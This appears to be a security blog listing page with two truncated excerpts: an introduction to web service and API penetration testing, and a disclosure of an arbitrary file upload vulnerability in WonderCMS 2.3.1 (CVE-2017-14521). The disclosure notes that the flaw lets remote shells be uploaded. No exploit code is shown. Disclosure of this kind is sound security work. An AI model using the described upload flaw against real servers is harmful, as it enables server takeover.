Web Services/ API Penetration Testing Part - 1

Hi Readers, today we will learn about another interesting part of Penetration Testing, this revolves around Security assessments of web services.
To start with let’s take a look at what web services are made of:
A web service is software composed of standardized XML messaging system.
The benefit of web services are since all of its communication is in XML, they are not restricted to any  operating system or programming languages
They are built on Web services are built on top of open standards such as TCP/IP, HTTP, Java, HTML, and XML.
Anatomy of Web Services
In simple language, any basic web services platform is a combination of XML and HTTP. They can be of: ·SOAP (Simple Object Access Protocol)·UDDI (Universal Description, Discovery and Integration)·WSDL (Web Services Description Language)

How does a Web Service Work
Web services depends on •             XML to tag the data ( as markup and syntax) •             SOAP to transfer a message •             WSDL to describe the availabilit…

Arbitrary file upload and RCE in Wonder CMS - CVE-2017-14521

By- Samrat Das

Hi Readers

Recently in one of my pentest research, I found a CMS " WonderCMS" hosted in github.
Curious to explore its functionalities, I downloaded and set it up in my local system.

After fiddling with the source code, I found that it did not have any kind of file upload security mechanism and allowed the user to upload any file type! After reporting it to them, I did not receive any security relevant response, hence decided to publish a blog on this.

Title of the Vulnerability:  Arbitrary File Upload Vulnerability Class: Security Misconfiguration Technical Details & Description: The application source code is coded in a way which allows arbitrary file extensions to be uploaded. This leads to uploading of remote shells/ malicious Trojans which can lead to complete system compromise and server takeover. CVE ID allocated:  CVE-2017-14521 Product & Service Introduction: Wonder CMS 2.3.1 WonderCMS is an open source CMS (Content Management System) built with P…
